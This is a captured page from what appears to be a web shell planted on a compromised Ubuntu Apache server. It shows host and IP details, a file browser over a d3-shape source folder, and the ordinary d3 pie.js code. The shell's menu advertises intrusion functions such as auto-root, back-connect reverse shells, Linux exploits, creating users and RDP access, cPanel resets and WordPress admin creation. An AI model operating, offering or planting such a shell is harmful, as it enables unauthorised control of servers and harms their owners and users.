Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cqt /
node_modules /
d3-shape /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
curve
[ DIR ]
drwxr-xr-x
offset
[ DIR ]
drwxr-xr-x
order
[ DIR ]
drwxr-xr-x
symbol
[ DIR ]
drwxr-xr-x
arc.js
8.64
KB
-rw-r--r--
area.js
3.14
KB
-rw-r--r--
areaRadial.js
944
B
-rw-r--r--
array.js
242
B
-rw-r--r--
constant.js
81
B
-rw-r--r--
descending.js
86
B
-rw-r--r--
identity.js
43
B
-rw-r--r--
index.js
3.28
KB
-rw-r--r--
line.js
1.69
KB
-rw-r--r--
lineRadial.js
402
B
-rw-r--r--
link.js
1.79
KB
-rw-r--r--
math.js
492
B
-rw-r--r--
noop.js
29
B
-rw-r--r--
path.js
393
B
-rw-r--r--
pie.js
2.34
KB
-rw-r--r--
point.js
81
B
-rw-r--r--
pointRadial.js
101
B
-rw-r--r--
stack.js
1.39
KB
-rw-r--r--
symbol.js
1.8
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pie.js
import array from "./array.js"; import constant from "./constant.js"; import descending from "./descending.js"; import identity from "./identity.js"; import {tau} from "./math.js"; export default function() { var value = identity, sortValues = descending, sort = null, startAngle = constant(0), endAngle = constant(tau), padAngle = constant(0); function pie(data) { var i, n = (data = array(data)).length, j, k, sum = 0, index = new Array(n), arcs = new Array(n), a0 = +startAngle.apply(this, arguments), da = Math.min(tau, Math.max(-tau, endAngle.apply(this, arguments) - a0)), a1, p = Math.min(Math.abs(da) / n, padAngle.apply(this, arguments)), pa = p * (da < 0 ? -1 : 1), v; for (i = 0; i < n; ++i) { if ((v = arcs[index[i] = i] = +value(data[i], i, data)) > 0) { sum += v; } } // Optionally sort the arcs by previously-computed values or by data. if (sortValues != null) index.sort(function(i, j) { return sortValues(arcs[i], arcs[j]); }); else if (sort != null) index.sort(function(i, j) { return sort(data[i], data[j]); }); // Compute the arcs! They are stored in the original data's order. for (i = 0, k = sum ? (da - n * pa) / sum : 0; i < n; ++i, a0 = a1) { j = index[i], v = arcs[j], a1 = a0 + (v > 0 ? v * k : 0) + pa, arcs[j] = { data: data[j], index: i, value: v, startAngle: a0, endAngle: a1, padAngle: p }; } return arcs; } pie.value = function(_) { return arguments.length ? (value = typeof _ === "function" ? _ : constant(+_), pie) : value; }; pie.sortValues = function(_) { return arguments.length ? (sortValues = _, sort = null, pie) : sortValues; }; pie.sort = function(_) { return arguments.length ? (sort = _, sortValues = null, pie) : sort; }; pie.startAngle = function(_) { return arguments.length ? (startAngle = typeof _ === "function" ? _ : constant(+_), pie) : startAngle; }; pie.endAngle = function(_) { return arguments.length ? (endAngle = typeof _ === "function" ? _ : constant(+_), pie) : endAngle; }; pie.padAngle = function(_) { return arguments.length ? (padAngle = typeof _ === "function" ? _ : constant(+_), pie) : padAngle; }; return pie; }
Close